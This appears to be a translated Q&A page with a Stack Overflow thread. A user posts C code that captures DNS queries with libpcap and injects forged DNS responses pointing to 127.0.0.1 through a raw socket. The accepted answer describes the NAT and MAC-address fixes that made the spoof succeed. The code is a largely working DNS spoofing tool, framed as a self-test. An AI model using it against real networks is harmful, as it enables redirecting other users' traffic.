首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >无法使用DNS欺骗欺骗主机命令

无法使用DNS欺骗欺骗主机命令
EN

Stack Overflow用户
提问于 2013-05-09 18:39:14
回答 1查看 332关注 0票数 0

我最近发现了原始套接字,目前正在尝试捕获使用host命令发送的DNS数据包(使用libcap库),并在DNS服务器之前使用错误的地址对其进行回复。不幸的是,它似乎不起作用。我可以使用tcpdump查看我的数据包,但不会将其传递给host命令。下面是我在测试中使用的代码:

代码语言:javascript
复制
#include <arpa/inet.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <net/if.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>

typedef unsigned int u_int;
typedef unsigned short u_short;
typedef unsigned char u_char;

#include <pcap/pcap.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct dnshdr {
    uint16_t id;
    uint16_t flags;
    uint16_t nquestion;
    uint16_t nanswer;
    uint16_t nauthority;
    uint16_t nadditional;
};

struct msg {
    struct ethhdr eth;
    struct iphdr ip;
    struct udphdr udp;
    struct dnshdr dns;
    unsigned char * data;
    size_t dlen;
};

static void msg_init(uint8_t *, struct pcap_pkthdr const *, uint8_t const *);
static void msg_to_pkt(struct msg *, unsigned char *);
static uint16_t msg_len(struct msg *);
static struct msg * msg_cap(void);


static void
msg_init(uint8_t * msg, struct pcap_pkthdr const * h, uint8_t const * bytes)
{
    struct msg * self;
    size_t offset;

    self = (struct msg *)msg;
    offset = 0;
    memcpy(&self->eth, bytes + offset, sizeof self->eth);
    offset += sizeof self->eth;
    memcpy(&self->ip, bytes + offset, sizeof self->ip);
    offset += self->ip.ihl * 4;
    memcpy(&self->udp, bytes + offset, sizeof self->udp);
    offset += sizeof self->udp;
    memcpy(&self->dns, bytes + offset, sizeof self->dns);
    offset += sizeof self->dns;
    self->dlen = h->len - offset;
    self->data = malloc(self->dlen);
    if (self->data == NULL) {
        perror("malloc");
        free(self);
        exit(EXIT_FAILURE);
    }
    memcpy(self->data, bytes + offset, self->dlen); 
}


static void
msg_to_pkt(struct msg * self, unsigned char * pkt)
{
    memcpy(pkt, &self->eth, sizeof self->eth);
    pkt += sizeof self->eth;
    memcpy(pkt, &self->ip, sizeof self->ip);
    pkt += sizeof self->ip;
    memcpy(pkt, &self->udp, sizeof self->udp);
    pkt += sizeof self->udp;
    memcpy(pkt, &self->dns, sizeof self->dns);
    pkt += sizeof self->dns;
    memcpy(pkt, self->data, self->dlen);
}


static uint16_t
msg_len(struct msg * self)
{
    uint16_t len;

    len = 0;
    len += sizeof self->eth;
    len += sizeof self->ip;
    len += sizeof self->udp;
    len += sizeof self->dns;
    len += self->dlen;
    return len;
}


static struct msg *
msg_cap(void)
{
    struct bpf_program filter;
    pcap_t * p;
    void * msg;
    char errbuf[PCAP_ERRBUF_SIZE];

    p = pcap_create("eth0", errbuf);
    if (p == NULL) {
        pcap_perror(p, "pcap_create");
        return NULL;
    }
    if (pcap_activate(p) < 0) {
        pcap_perror(p, "pcap_activate");
        return NULL;
    }
    if (pcap_compile(p, &filter, "dst port 53 and udp", 1,
    PCAP_NETMASK_UNKNOWN) < 0) {
        pcap_perror(p, "pcap_compile");
        return NULL;
    }
    if (pcap_setfilter(p, &filter) < 0) {
        pcap_perror(p, "pcap_setfilter");
        return NULL;
    }
    msg = malloc(sizeof (struct msg));
    if (msg == NULL) {
        perror("malloc");
        return NULL;
    }
    if (pcap_loop(p, 1, &msg_init, msg) < 0) {
        pcap_perror(p, "pcap_loop");
        free(msg);
        return NULL;
    }
    return msg;
}


uint16_t
cksum(void const * buf, size_t nbytes)
{
    uint32_t cs = 0;
    uint16_t const * p;

    p = buf;
    while (nbytes > 1) {
        cs += *p++;
        nbytes -= 2;
    }
    if (nbytes == 1) {
        cs += *(uint8_t *)p;
    }
    while ((cs >> 16) != 0) {
        cs = (cs & 0xFFFF) + (cs >> 16);
    }
    return ~(uint16_t)cs;
}


int
main(void)
{
    struct msg * msg;
    struct sockaddr_ll sll;
    char resp[] = "\xc0\x0c\0\1\0\1\0\0\x02\x65\0\4\x7f\0\0\1";
    char ethaddr[ETH_ALEN];
    unsigned char * tmp;
    size_t const rlen = sizeof resp - 1;
    size_t mlen;
    uint32_t ipaddr;
    uint16_t port;
    int s;

    s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) {
        perror("socket");
        return EXIT_FAILURE;
    }
    msg = msg_cap();
    if (msg == NULL) {
        return EXIT_FAILURE;
    }

    /* add DNS response */
    tmp = malloc(msg->dlen + rlen);
    if (tmp == NULL) {
        perror("malloc");
        return EXIT_FAILURE;
    }
    memcpy(tmp, msg->data, msg->dlen);
    memcpy(tmp + msg->dlen, resp, rlen);
    free(msg->data);
    msg->data = tmp;
    msg->dlen += rlen;
    mlen = msg_len(msg);

    /* reverse Ethernet address */
    memcpy(ethaddr, msg->eth.h_dest, ETH_ALEN);
    memcpy(msg->eth.h_dest, msg->eth.h_source, ETH_ALEN);
    memcpy(msg->eth.h_source, ethaddr, ETH_ALEN);

    /* reverse IP address and change some fields */
    ipaddr = msg->ip.daddr;
    msg->ip.daddr = msg->ip.saddr;
    msg->ip.saddr = ipaddr;
    msg->ip.tos = 0;
    msg->ip.ttl = 53;
    msg->ip.id = htons(9999);
    msg->ip.tot_len = htons(mlen - sizeof msg->eth);
    msg->ip.check = 0;
    msg->ip.check = cksum(&msg->ip, sizeof msg->ip);

    /* reverse UDP ports and change some fields */
    port = msg->udp.dest;
    msg->udp.dest = msg->udp.source;
    msg->udp.source = port;
    msg->udp.len = htons(mlen - sizeof msg->eth - sizeof msg->ip);
    msg->udp.check = 0;

    /* change DNS flags and nanswer fields */
    msg->dns.flags = htons(0x8180);
    msg->dns.nanswer = htons(1);

    /* alloc buffer and send the packet */
    tmp = malloc(mlen);
    if (tmp == NULL) {
        perror("malloc");
        return EXIT_FAILURE;
    }
    msg_to_pkt(msg, tmp);
    sll.sll_family = AF_PACKET;
    sll.sll_protocol = htons(ETH_P_IP);
    sll.sll_ifindex = if_nametoindex("eth0");
    sll.sll_hatype = 1;
    sll.sll_pkttype = PACKET_HOST;
    sll.sll_halen = ETH_ALEN;
    memcpy(&sll.sll_addr, msg->eth.h_dest, ETH_ALEN);
    if (sendto(s, tmp, mlen, 0, (struct sockaddr *)&sll, sizeof sll) < 0) {
        perror("sendto");
        return EXIT_FAILURE;
    }
    close(s);
    return 0;
}

有什么不对劲吗?

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2013-05-11 18:30:38

好了,经过进一步的测试和头痛,我终于找到了问题的根源。事实上,有两个问题。

首先,我认为当sll_pkttype字段设置为PACKET_HOST时,这意味着数据包将被发送到本地主机。但是,在读回分组(7)之后,该字段似乎仅在接收分组时使用。换句话说,我的数据包被发送到我的路由器,由于MAC目的地址错误而被丢弃。

接下来,即使我更改了MAC目的地址,数据包也不会从我的路由器发回我的计算机。这是一个NAPT问题。因为我捕获的数据包在我的路由器的NAT表中打开了一个UDP会话,所以我无法发送一个以我的计算机的地址作为目的IP地址,并且目的端口与NAT表中的端口相同的数据包。因此,我将目标地址更改为我的路由器的外部地址,它就成功了!

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/16459835

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档